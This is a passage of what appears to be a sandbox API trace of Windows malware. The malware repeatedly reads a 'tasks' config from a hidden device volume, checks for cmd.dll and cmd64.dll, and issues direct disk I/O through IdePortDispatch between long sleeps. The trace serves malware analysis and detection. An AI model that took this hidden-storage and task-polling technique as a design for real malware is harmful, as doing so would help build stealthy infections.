FastMutex=0xfffffa80027d3898) [0124.165] KeLeaveCriticalRegion () [0124.165] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.165] ReleaseMutex (hMutex=0xf0) returned 1 [0124.165] Sleep (dwMilliseconds=0x927c0) [0124.179] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.179] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.179] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.179] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.179] KeEnterCriticalRegion () [0124.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.179] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.180] IdePortDispatch () returned 0x103 [0124.180] KeWaitForMutexObject () returned 0x0 [0124.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.180] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.180] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.180] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.180] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.180] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef660 [0124.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.180] KeLeaveCriticalRegion () [0124.180] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.180] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.180] KeEnterCriticalRegion () [0124.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.180] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.180] KeLeaveCriticalRegion () [0124.180] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.180] KeEnterCriticalRegion () [0124.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.180] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.180] IdePortDispatch () returned 0x103 [0124.180] KeWaitForMutexObject () returned 0x0 [0124.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.180] KeLeaveCriticalRegion () [0124.180] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.181] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.181] KeEnterCriticalRegion () [0124.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350b000 [0124.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.181] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.181] IdePortDispatch () returned 0x103 [0124.181] KeWaitForMutexObject () returned 0x0 [0124.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.181] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.181] IdePortDispatch () returned 0x103 [0124.181] KeWaitForMutexObject () returned 0x0 [0124.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.181] KeLeaveCriticalRegion () [0124.181] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.182] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.182] KeEnterCriticalRegion () [0124.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.182] KeLeaveCriticalRegion () [0124.182] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.182] KeEnterCriticalRegion () [0124.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.182] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.182] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.182] KeLeaveCriticalRegion () [0124.182] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.182] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.182] KeEnterCriticalRegion () [0124.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.182] ExFreePoolWithTag (P=0xfffffa8003bef660, Tag=0x0) [0124.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.182] KeLeaveCriticalRegion () [0124.182] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.182] ReleaseMutex (hMutex=0xf0) returned 1 [0124.182] Sleep (dwMilliseconds=0x927c0) [0124.196] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.196] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.196] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.196] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.196] KeEnterCriticalRegion () [0124.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.196] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.197] IdePortDispatch () returned 0x103 [0124.197] KeWaitForMutexObject () returned 0x0 [0124.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.197] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.197] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.197] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.197] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.197] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef2e0 [0124.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.197] KeLeaveCriticalRegion () [0124.197] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.197] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.197] KeEnterCriticalRegion () [0124.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.197] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.197] KeLeaveCriticalRegion () [0124.197] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.197] KeEnterCriticalRegion () [0124.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.197] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.197] IdePortDispatch () returned 0x103 [0124.197] KeWaitForMutexObject () returned 0x0 [0124.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.197] KeLeaveCriticalRegion () [0124.198] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.198] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.198] KeEnterCriticalRegion () [0124.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.198] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003510000 [0124.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.198] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.198] IdePortDispatch () returned 0x103 [0124.198] KeWaitForMutexObject () returned 0x0 [0124.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.198] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.198] IdePortDispatch () returned 0x103 [0124.198] KeWaitForMutexObject () returned 0x0 [0124.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.198] KeLeaveCriticalRegion () [0124.198] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.199] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.199] KeEnterCriticalRegion () [0124.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.199] KeLeaveCriticalRegion () [0124.199] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.199] KeEnterCriticalRegion () [0124.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.199] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.199] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.199] KeLeaveCriticalRegion () [0124.199] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.199] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.199] KeEnterCriticalRegion () [0124.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.199] ExFreePoolWithTag (P=0xfffffa8003bef2e0, Tag=0x0) [0124.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.199] KeLeaveCriticalRegion () [0124.199] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.199] ReleaseMutex (hMutex=0xf0) returned 1 [0124.199] Sleep (dwMilliseconds=0x927c0) [0124.213] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.213] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.213] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.213] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.213] KeEnterCriticalRegion () [0124.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.214] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.214] IdePortDispatch () returned 0x103 [0124.214] KeWaitForMutexObject () returned 0x0 [0124.214] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.214] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.214] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.214] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.214] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.214] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef340 [0124.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.214] KeLeaveCriticalRegion () [0124.214] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.214] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.214] KeEnterCriticalRegion () [0124.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.214] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.214] KeLeaveCriticalRegion () [0124.214] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.214] KeEnterCriticalRegion () [0124.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.214] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.214] IdePortDispatch () returned 0x103 [0124.215] KeWaitForMutexObject () returned 0x0 [0124.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.215] KeLeaveCriticalRegion () [0124.215] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.215] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.215] KeEnterCriticalRegion () [0124.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003515000 [0124.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.215] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.215] IdePortDispatch () returned 0x103 [0124.215] KeWaitForMutexObject () returned 0x0 [0124.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.215] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.215] IdePortDispatch () returned 0x103 [0124.215] KeWaitForMutexObject () returned 0x0 [0124.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.215] KeLeaveCriticalRegion () [0124.215] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.216] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.216] KeEnterCriticalRegion () [0124.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.216] KeLeaveCriticalRegion () [0124.216] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.216] KeEnterCriticalRegion () [0124.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.216] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.216] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.216] KeLeaveCriticalRegion () [0124.216] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.216] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.216] KeEnterCriticalRegion () [0124.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.216] ExFreePoolWithTag (P=0xfffffa8003bef340, Tag=0x0) [0124.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.216] KeLeaveCriticalRegion () [0124.216] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.216] ReleaseMutex (hMutex=0xf0) returned 1 [0124.216] Sleep (dwMilliseconds=0x927c0) [0124.230] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.230] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.230] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.230] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.231] KeEnterCriticalRegion () [0124.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.231] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.231] IdePortDispatch () returned 0x103 [0124.231] KeWaitForMutexObject () returned 0x0 [0124.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.231] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.231] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.231] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.231] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.231] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef390 [0124.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.231] KeLeaveCriticalRegion () 